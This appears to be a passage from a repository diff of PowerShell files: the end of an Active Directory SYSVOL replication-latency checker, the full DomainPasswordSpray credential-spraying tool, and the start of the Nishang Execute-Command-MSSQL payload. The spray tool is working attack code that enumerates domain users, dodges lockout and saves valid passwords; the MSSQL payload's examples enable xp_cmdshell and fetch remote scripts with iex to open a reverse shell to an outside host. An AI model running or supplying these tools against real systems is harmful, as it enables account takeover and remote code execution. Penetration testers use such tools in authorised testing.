$TableOfDSServersAObj."Site Name" = ($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))})."Site Name"
|
||||
}
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -eq 0) {
|
||||
$TableOfDSServersAObj."Site Name" = "<Fail>"
|
||||
}
|
||||
If (($TableOfDCsInADForest | ?{$_."DS Name" -eq $($($DC.Name).Substring(0,$($DC.Name).IndexOf(".")))} | Measure-Object).Count -gt 1) {
|
||||
$TableOfDSServersAObj."Site Name" = "<Fail>"
|
||||
}
|
||||
}
|
||||
$smbPort = "445"
|
||||
$timeOut = "500"
|
||||
$smbConnectionResult = $null
|
||||
$fqdnDC = $DC.Name
|
||||
$smbConnectionResult = PortConnectionCheck $fqdnDC $smbPort $timeOut
|
||||
If ($smbConnectionResult -eq "SUCCESS") {
|
||||
$TableOfDSServersAObj.Reachable = "TRUE"
|
||||
}
|
||||
If ($smbConnectionResult -eq "ERROR") {
|
||||
$TableOfDSServersAObj.Reachable = "FALSE"
|
||||
}
|
||||
$TableOfDSServersA += $TableOfDSServersAObj
|
||||
}
|
||||
}
|
||||
$TableOfDSServersA | FT -AutoSize
|
||||
Write-Host " --> Found [$($TableOfDSServersA.count)] Directory Server(s)..." -ForeGroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
##########
|
||||
# Create The Temp Object On The Targeted RWDC
|
||||
Write-Host "----------------------------------------------------------------------------------------------------------------------------------------------------" -ForeGroundColor Cyan
|
||||
Write-Host "CREATING TEMP TEXT FILE IN SYSVOL/NETLOGON...:" -ForeGroundColor Cyan
|
||||
Write-Host ""
|
||||
$domainNCDN = $defaultNamingContext
|
||||
$tempObjectName = "sysvolReplTempObject" + (Get-Date -f yyyyMMddHHmmss) + ".txt"
|
||||
Write-Host " --> On RWDC.............: $SourceRWDCInADDomainFQDN" -ForeGroundColor Yellow
|
||||
Write-Host " --> With Full Name......: $tempObjectName" -ForeGroundColor Yellow
|
||||
Write-Host " --> With Contents.......: ...!!!...TEMP OBJECT TO TEST SYSVOL REPLICATION LATENCY/CONVERGENCE...!!!..." -ForeGroundColor Yellow
|
||||
Write-Host " --> In AD Domain........: $ADDomainToWriteTo ($domainNCDN)" -ForeGroundColor Yellow
|
||||
"...!!!...TEMP OBJECT TO TEST AD REPLICATION LATENCY/CONVERGENCE...!!!..." | Out-File -FilePath $($scriptsUNCPathOnSourcingRWDC + "\" + $tempObjectName)
|
||||
Write-Host "`n Temp Text File [$tempObjectName] Has Been Created In The NetLogon Share Of RWDC [$SourceRWDCInADDomainFQDN]! `n" -ForeGroundColor Yellow
|
||||
|
||||
##########
|
||||
# Go Through The Process Of Checking Each Directory Server To See If The Temp Object Already Has Replicated To It
|
||||
$startDateTime = Get-Date
|
||||
$i = 0
|
||||
Write-Host " --> Found [$($TableOfDSServersA.count)] Directory Server(s)..." -ForeGroundColor Yellow
|
||||
Write-Host ""
|
||||
While($continue) {
|
||||
$i++
|
||||
$oldpos = $host.UI.RawUI.CursorPosition
|
||||
Write-Host " ====================== CHECK $i ======================" -ForeGroundColor Yellow
|
||||
Write-Host ""
|
||||
Write-Host " REMARK: Each DC In The List Below Must Be At Least Accessible Through SMB Over TCP (445)" -ForeGroundColor Red
|
||||
Write-Host ""
|
||||
Start-Sleep 1
|
||||
$replicated = $true
|
||||
|
||||
# For Each Directory Server In The List/Table [A] Perform A Number Of Steps
|
||||
ForEach ($DSsrv in $TableOfDSServersA) {
|
||||
If ($DSsrv.Name -match $SourceRWDCInADDomainFQDN) {
|
||||
Write-Host " * Contacting DC In AD domain ...[$($DSsrv.Name.ToUpper())]..." -ForeGroundColor Yellow
|
||||
Write-Host " - DC Is Reachable..." -ForeGroundColor Green
|
||||
Write-Host " - Object [$tempObjectName] Exists In The NetLogon Share" (" "*3) -ForeGroundColor Green
|
||||
continue
|
||||
}
|
||||
|
||||
# If The Directory Server Is A DC In The AD Domain, Then Connect Through LDAP (TCP:445)
|
||||
If ($DSsrv.Name -notmatch $SourceRWDCInADDomainFQDN) {
|
||||
Write-Host ""
|
||||
Write-Host " * Contacting DC In AD domain ...[$($DSsrv.Name.ToUpper())]..." -ForeGroundColor Yellow
|
||||
$connectionResult = $null
|
||||
If ($DSsrv.Reachable -eq "TRUE") {
|
||||
Write-Host " - DC Is Reachable..." -ForeGroundColor Green
|
||||
$objectPath = "\\" + $($DSsrv.Name) + "\Netlogon\" + $tempObjectName
|
||||
$connectionResult = "SUCCESS"
|
||||
}
|
||||
If ($DSsrv.Reachable -eq "FALSE") {
|
||||
Write-Host " - DC Is NOT Reachable..." -ForeGroundColor Red
|
||||
$connectionResult = "FAILURE"
|
||||
}
|
||||
}
|
||||
|
||||
# If The Connection To The DC Is Successful
|
||||
If ($connectionResult -eq "SUCCESS") {
|
||||
If (Test-Path -Path $objectPath) {
|
||||
# If The Temp Object Already Exists
|
||||
Write-Host " - Object [$tempObjectName] Now Does Exist In The NetLogon Share" (" "*3) -ForeGroundColor Green
|
||||
If (!($TableOfDSServersB | ?{$_.Name -match $DSsrv.Name})) {
|
||||
$TableOfDSServersBobj = "" | Select Name,"Site Name",Time
|
||||
$TableOfDSServersBobj.Name = $DSsrv.Name
|
||||
$TableOfDSServersBObj."Site Name" = $DSsrv."Site Name"
|
||||
$TableOfDSServersBObj.Time = ("{0:n2}" -f ((Get-Date)-$startDateTime).TotalSeconds)
|
||||
$TableOfDSServersB += $TableOfDSServersBObj
|
||||
}
|
||||
} Else {
|
||||
# If The Temp Object Does Not Yet Exist
|
||||
Write-Host " - Object [$tempObjectName] Does NOT Exist Yet In The NetLogon Share" -ForeGroundColor Red
|
||||
$replicated = $false
|
||||
}
|
||||
}
|
||||
|
||||
# If The Connection To The DC Is Unsuccessful
|
||||
If ($connectionResult -eq "FAILURE") {
|
||||
Write-Host " - Unable To Connect To DC/GC And Check For The Temp Object..." -ForeGroundColor Red
|
||||
If (!($TableOfDSServersB | ?{$_.Name -match $DSsrv.Name})) {
|
||||
$TableOfDSServersBobj = "" | Select Name,"Site Name",Time
|
||||
$TableOfDSServersBobj.Name = $DSsrv.Name
|
||||
$TableOfDSServersBObj."Site Name" = $DSsrv."Site Name"
|
||||
$TableOfDSServersBObj.Time = "<Fail>"
|
||||
$TableOfDSServersB += $TableOfDSServersBObj
|
||||
}
|
||||
}
|
||||
}
|
||||
If ($replicated) {
|
||||
$continue = $false
|
||||
} Else {
|
||||
$host.UI.RawUI.CursorPosition = $oldpos
|
||||
}
|
||||
}
|
||||
|
||||
##########
|
||||
# Show The Start Time, The End Time And The Duration Of The Replication
|
||||
$endDateTime = Get-Date
|
||||
$duration = "{0:n2}" -f ($endDateTime.Subtract($startDateTime).TotalSeconds)
|
||||
Write-Host "`n Start Time......: $(Get-Date $startDateTime -format "yyyy-MM-dd HH:mm:ss")" -ForeGroundColor Yellow
|
||||
Write-Host " End Time........: $(Get-Date $endDateTime -format "yyyy-MM-dd HH:mm:ss")" -ForeGroundColor Yellow
|
||||
Write-Host " Duration........: $duration Seconds" -ForeGroundColor Yellow
|
||||
|
||||
##########
|
||||
# Delete The Temp Object On The RWDC
|
||||
If ($cleanupTempObject) {
|
||||
Write-Host ""
|
||||
Write-Host " Deleting Temp Text File... `n" -ForeGroundColor Yellow
|
||||
Remove-Item $($scriptsUNCPathOnSourcingRWDC + "\" + $tempObjectName) -Force
|
||||
Write-Host " Temp Text File [$tempObjectName] Has Been Deleted On The Target RWDC! `n" -ForeGroundColor Yellow
|
||||
}
|
||||
|
||||
##########
|
||||
# Output The Table [B] Containing The Information Of Each Directory Server And How Long It Took To Reach That Directory Server After The Creation On The Source RWDC
|
||||
$TableOfDSServersB | Sort-Object Time | FT -AutoSize
|
Binary file not shown.
|
@ -0,0 +1,546 @@
|
|||
function Invoke-DomainPasswordSpray{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
|
||||
|
||||
DomainPasswordSpray Function: Invoke-DomainPasswordSpray
|
||||
Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
|
||||
|
||||
.PARAMETER UserList
|
||||
|
||||
Optional UserList parameter. This will be generated automatically if not specified.
|
||||
|
||||
.PARAMETER Password
|
||||
|
||||
A single password that will be used to perform the password spray.
|
||||
|
||||
.PARAMETER PasswordList
|
||||
|
||||
A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
|
||||
|
||||
.PARAMETER OutFile
|
||||
|
||||
A file to output the results to.
|
||||
|
||||
.PARAMETER Domain
|
||||
|
||||
The domain to spray against.
|
||||
|
||||
.PARAMETER Filter
|
||||
|
||||
Custom LDAP filter for users, e.g. "(description=*admin*)"
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Forces the spray to continue and doesn't prompt for confirmation.
|
||||
|
||||
.PARAMETER UsernameAsPassword
|
||||
|
||||
For each user, will try that user's name as their password
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
|
||||
|
||||
Description
|
||||
-----------
|
||||
This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
|
||||
|
||||
Description
|
||||
-----------
|
||||
This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt
|
||||
|
||||
Description
|
||||
-----------
|
||||
This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt
|
||||
|
||||
#>
|
||||
param(
|
||||
[Parameter(Position = 0, Mandatory = $false)]
|
||||
[string]
|
||||
$UserList = "",
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $false)]
|
||||
[string]
|
||||
$Password,
|
||||
|
||||
[Parameter(Position = 2, Mandatory = $false)]
|
||||
[string]
|
||||
$PasswordList,
|
||||
|
||||
[Parameter(Position = 3, Mandatory = $false)]
|
||||
[string]
|
||||
$OutFile,
|
||||
|
||||
[Parameter(Position = 4, Mandatory = $false)]
|
||||
[string]
|
||||
$Filter = "",
|
||||
|
||||
[Parameter(Position = 5, Mandatory = $false)]
|
||||
[string]
|
||||
$Domain = "",
|
||||
|
||||
[Parameter(Position = 6, Mandatory = $false)]
|
||||
[switch]
|
||||
$Force,
|
||||
|
||||
[Parameter(Position = 7, Mandatory = $false)]
|
||||
[switch]
|
||||
$UsernameAsPassword,
|
||||
|
||||
[Parameter(Position = 8, Mandatory = $false)]
|
||||
[int]
|
||||
$Delay=0,
|
||||
|
||||
[Parameter(Position = 9, Mandatory = $false)]
|
||||
$Jitter=0
|
||||
|
||||
)
|
||||
|
||||
if ($Password)
|
||||
{
|
||||
$Passwords = @($Password)
|
||||
}
|
||||
elseif($UsernameAsPassword)
|
||||
{
|
||||
$Passwords = ""
|
||||
}
|
||||
elseif($PasswordList)
|
||||
{
|
||||
$Passwords = Get-Content $PasswordList
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
|
||||
break
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if ($Domain -ne "")
|
||||
{
|
||||
# Using domain specified with -Domain option
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
|
||||
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
|
||||
}
|
||||
else
|
||||
{
|
||||
# Trying to use the current user's domain
|
||||
$DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Host -ForegroundColor "red" "[*] Could not connect to the domain. Try specifying the domain name with the -Domain option."
|
||||
break
|
||||
}
|
||||
|
||||
if ($UserList -eq "")
|
||||
{
|
||||
$UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter
|
||||
}
|
||||
else
|
||||
{
|
||||
# if a Userlist is specified use it and do not check for lockout thresholds
|
||||
Write-Host "[*] Using $UserList as userlist to spray with"
|
||||
Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
|
||||
$UserListArray = @()
|
||||
try
|
||||
{
|
||||
$UserListArray = Get-Content $UserList -ErrorAction stop
|
||||
}
|
||||
catch [Exception]
|
||||
{
|
||||
Write-Host -ForegroundColor "red" "$_.Exception"
|
||||
break
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
if ($Passwords.count > 1)
|
||||
{
|
||||
Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
|
||||
}
|
||||
|
||||
$observation_window = Get-ObservationWindow
|
||||
|
||||
Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
|
||||
Write-Host "[*] Setting a $observation_window minute wait in between sprays."
|
||||
|
||||
# if no force flag is set we will ask if the user is sure they want to spray
|
||||
if (!$Force)
|
||||
{
|
||||
$title = "Confirm Password Spray"
|
||||
$message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
|
||||
|
||||
$yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
|
||||
"Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
|
||||
|
||||
$no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
|
||||
"Cancels the password spray."
|
||||
|
||||
$options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
|
||||
|
||||
$result = $host.ui.PromptForChoice($title, $message, $options, 0)
|
||||
|
||||
if ($result -ne 0)
|
||||
{
|
||||
Write-Host "Cancelling the password spray."
|
||||
break
|
||||
}
|
||||
}
|
||||
Write-Host -ForegroundColor Yellow "[*] Password spraying has begun with " $Passwords.count " passwords"
|
||||
Write-Host "[*] This might take a while depending on the total number of users"
|
||||
|
||||
if($UsernameAsPassword)
|
||||
{
|
||||
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword
|
||||
}
|
||||
else
|
||||
{
|
||||
for($i = 0; $i -lt $Passwords.count; $i++)
|
||||
{
|
||||
Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter
|
||||
if (($i+1) -lt $Passwords.count)
|
||||
{
|
||||
Countdown-Timer -Seconds (60*$observation_window)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
|
||||
if ($OutFile -ne "")
|
||||
{
|
||||
Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
|
||||
}
|
||||
}
|
||||
|
||||
function Countdown-Timer
|
||||
{
|
||||
param(
|
||||
$Seconds = 1800,
|
||||
$Message = "[*] Pausing to avoid account lockout."
|
||||
)
|
||||
foreach ($Count in (1..$Seconds))
|
||||
{
|
||||
Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
|
||||
Start-Sleep -Seconds 1
|
||||
}
|
||||
Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
|
||||
}
|
||||
|
||||
function Get-DomainUserList
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
This module gathers a userlist from the domain.
|
||||
|
||||
DomainPasswordSpray Function: Get-DomainUserList
|
||||
Author: Beau Bullock (@dafthack)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
This module gathers a userlist from the domain.
|
||||
|
||||
.PARAMETER Domain
|
||||
|
||||
The domain to spray against.
|
||||
|
||||
.PARAMETER RemoveDisabled
|
||||
|
||||
Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
|
||||
|
||||
.PARAMETER RemovePotentialLockouts
|
||||
|
||||
Removes accounts within 1 attempt of locking out.
|
||||
|
||||
.PARAMETER Filter
|
||||
|
||||
Custom LDAP filter for users, e.g. "(description=*admin*)"
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-DomainUserList
|
||||
|
||||
Description
|
||||
-----------
|
||||
This command will gather a userlist from the domain including all samAccountType "805306368".
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
|
||||
|
||||
Description
|
||||
-----------
|
||||
This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
|
||||
|
||||
#>
|
||||
param(
|
||||
[Parameter(Position = 0, Mandatory = $false)]
|
||||
[string]
|
||||
$Domain = "",
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $false)]
|
||||
[switch]
|
||||
$RemoveDisabled,
|
||||
|
||||
[Parameter(Position = 2, Mandatory = $false)]
|
||||
[switch]
|
||||
$RemovePotentialLockouts,
|
||||
|
||||
[Parameter(Position = 3, Mandatory = $false)]
|
||||
[string]
|
||||
$Filter
|
||||
)
|
||||
|
||||
try
|
||||
{
|
||||
if ($Domain -ne "")
|
||||
{
|
||||
# Using domain specified with -Domain option
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
|
||||
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
$CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
|
||||
}
|
||||
else
|
||||
{
|
||||
# Trying to use the current user's domain
|
||||
$DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
$CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
|
||||
break
|
||||
}
|
||||
|
||||
# Setting the current domain's account lockout threshold
|
||||
$objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
|
||||
$AccountLockoutThresholds = @()
|
||||
$AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
|
||||
|
||||
# Getting the AD behavior version to determine if fine-grained password policies are possible
|
||||
$behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
|
||||
if ($behaviorversion -ge 3)
|
||||
{
|
||||
# Determine if there are any fine-grained password policies
|
||||
Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
|
||||
$ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$ADSearcher.SearchRoot = $objDeDomain
|
||||
$ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
|
||||
$PSOs = $ADSearcher.FindAll()
|
||||
|
||||
if ( $PSOs.count -gt 0)
|
||||
{
|
||||
Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
|
||||
foreach($entry in $PSOs)
|
||||
{
|
||||
# Selecting the lockout threshold, min pwd length, and which
|
||||
# groups the fine-grained password policy applies to
|
||||
$PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
|
||||
$PSOPolicyName = $PSOFineGrainedPolicy.name
|
||||
$PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
|
||||
$PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
|
||||
$PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
|
||||
# adding lockout threshold to array for use later to determine which is the lowest.
|
||||
$AccountLockoutThresholds += $PSOLockoutThreshold
|
||||
|
||||
Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$observation_window = Get-ObservationWindow
|
||||
|
||||
# Generate a userlist from the domain
|
||||
# Selecting the lowest account lockout threshold in the domain to avoid
|
||||
# locking out any accounts.
|
||||
[int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
|
||||
Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
|
||||
|
||||
if ($SmallestLockoutThreshold -eq "0")
|
||||
{
|
||||
Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
|
||||
}
|
||||
|
||||
$UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
|
||||
$DirEntry = New-Object System.DirectoryServices.DirectoryEntry
|
||||
$UserSearcher.SearchRoot = $DirEntry
|
||||
|
||||
$UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
|
||||
$UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
|
||||
$UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
|
||||
|
||||
if ($RemoveDisabled)
|
||||
{
|
||||
Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
|
||||
# More precise LDAP filter UAC check for users that are disabled (Joff Thyer)
|
||||
# LDAP 1.2.840.113556.1.4.803 means bitwise &
|
||||
# uac 0x2 is ACCOUNTDISABLE
|
||||
# uac 0x10 is LOCKOUT
|
||||
# See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
|
||||
$UserSearcher.filter =
|
||||
"(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)"
|
||||
}
|
||||
else
|
||||
{
|
||||
$UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)"
|
||||
}
|
||||
|
||||
$UserSearcher.PropertiesToLoad.add("samaccountname") > $Null
|
||||
$UserSearcher.PropertiesToLoad.add("lockouttime") > $Null
|
||||
$UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null
|
||||
$UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll
|
||||
|
||||
#Write-Host $UserSearcher.filter
|
||||
|
||||
# grab batches of 1000 in results
|
||||
$UserSearcher.PageSize = 1000
|
||||
$AllUserObjects = $UserSearcher.FindAll()
|
||||
Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
|
||||
$UserListArray = @()
|
||||
|
||||
if ($RemovePotentialLockouts)
|
||||
{
|
||||
Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
|
||||
foreach ($user in $AllUserObjects)
|
||||
{
|
||||
# Getting bad password counts and lst bad password time for each user
|
||||
$badcount = $user.Properties.badpwdcount
|
||||
$samaccountname = $user.Properties.samaccountname
|
||||
try
|
||||
{
|
||||
$badpasswordtime = $user.Properties.badpasswordtime[0]
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue
|
||||
}
|
||||
$currenttime = Get-Date
|
||||
$lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
|
||||
$timedifference = ($currenttime - $lastbadpwd).TotalMinutes
|
||||
|
||||
if ($badcount)
|
||||
{
|
||||
[int]$userbadcount = [convert]::ToInt32($badcount, 10)
|
||||
$attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
|
||||
# if there is more than 1 attempt left before a user locks out
|
||||
# or if the time since the last failed login is greater than the domain
|
||||
# observation window add user to spray list
|
||||
if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1))
|
||||
{
|
||||
$UserListArray += $samaccountname
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach ($user in $AllUserObjects)
|
||||
{
|
||||
$samaccountname = $user.Properties.samaccountname
|
||||
$UserListArray += $samaccountname
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
|
||||
return $UserListArray
|
||||
}
|
||||
|
||||
function Invoke-SpraySinglePassword
|
||||
{
|
||||
param(
|
||||
[Parameter(Position=1)]
|
||||
$Domain,
|
||||
[Parameter(Position=2)]
|
||||
[string[]]
|
||||
$UserListArray,
|
||||
[Parameter(Position=3)]
|
||||
[string]
|
||||
$Password,
|
||||
[Parameter(Position=4)]
|
||||
[string]
|
||||
$OutFile,
|
||||
[Parameter(Position=5)]
|
||||
[int]
|
||||
$Delay=0,
|
||||
[Parameter(Position=6)]
|
||||
[double]
|
||||
$Jitter=0,
|
||||
[Parameter(Position=7)]
|
||||
[switch]
|
||||
$UsernameAsPassword
|
||||
)
|
||||
$time = Get-Date
|
||||
$count = $UserListArray.count
|
||||
Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())"
|
||||
$curr_user = 0
|
||||
Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile"
|
||||
$RandNo = New-Object System.Random
|
||||
|
||||
foreach ($User in $UserListArray)
|
||||
{
|
||||
if ($UsernameAsPassword)
|
||||
{
|
||||
$Password = $User
|
||||
}
|
||||
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password)
|
||||
if ($Domain_check.name -ne $null)
|
||||
{
|
||||
if ($OutFile -ne "")
|
||||
{
|
||||
Add-Content $OutFile $User`:$Password
|
||||
}
|
||||
Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
|
||||
}
|
||||
$curr_user += 1
|
||||
Write-Host -nonewline "$curr_user of $count users tested`r"
|
||||
if ($Delay)
|
||||
{
|
||||
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function Get-ObservationWindow()
|
||||
{
|
||||
# Get account lockout observation window to avoid running more than 1
|
||||
# password spray per observation window.
|
||||
$command = "cmd.exe /C net accounts /domain"
|
||||
$net_accounts_results = Invoke-Expression -Command:$command
|
||||
$stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
|
||||
$stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
|
||||
$observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
|
||||
[int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
|
||||
return $observation_window
|
||||
}
|
||||
|
|
@ -0,0 +1,177 @@
|
|||
function Execute-Command-MSSQL {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Nishang payload which could be used to execute commands remotely on a MS SQL server.
|
||||
|
||||
.DESCRIPTION
|
||||
This payload needs a valid administrator username and password on remote SQL server.
|
||||
It uses the credentials to enable xp_cmdshell and provides a powershell shell, a sql shell
|
||||
or a cmd shell on the target. If the WindowsAuthentication switch is used, an attempt is made to
|
||||
use the Windows Authentication. No username and password is required in such case.
|
||||
|
||||
.PARAMETER ComputerName
|
||||
Enter CopmuterName or IP Address of the target SQL server.
|
||||
|
||||
.PARAMETER UserName
|
||||
Enter a UserName for a SQL server administrator account.
|
||||
|
||||
.PARAMETER Password
|
||||
Enter the Password for the account.
|
||||
|
||||
.PARAMETER WindowsAuthentication
|
||||
Use this switch parameter to use Windows Authentication for SQL Server.
|
||||
|
||||
.EXAMPLE
|
||||
PS> Execute-Command-MSSQL -ComputerName sqlserv01 -UserName sa -Password sa1234
|
||||
|
||||
.EXAMPLE
|
||||
PS> Execute-Command-MSSQL -ComputerName 192.168.1.10 -UserName sa -Password sa1234
|
||||
|
||||
.EXAMPLE
|
||||
PS> Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234
|
||||
Connecting to target...
|
||||
Enabling XP_CMDSHELL...
|
||||
Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): P
|
||||
Starting PowerShell on the target..
|
||||
PS target> iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Get-Information.ps1''));Get-Information
|
||||
|
||||
Use above to execute scripts on a target.
|
||||
|
||||
.EXAMPLE
|
||||
PS> Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234 -payload "iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Invoke-PowerShellTcp.ps1''));Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.1 -Port 443"
|
||||
Use above to execute scripts on a target non-interactively.
|
||||
|
||||
.LINK
|
||||
http://www.labofapenetrationtester.com/2012/12/command-execution-on-ms-sql-server-using-powershell.html
|
||||
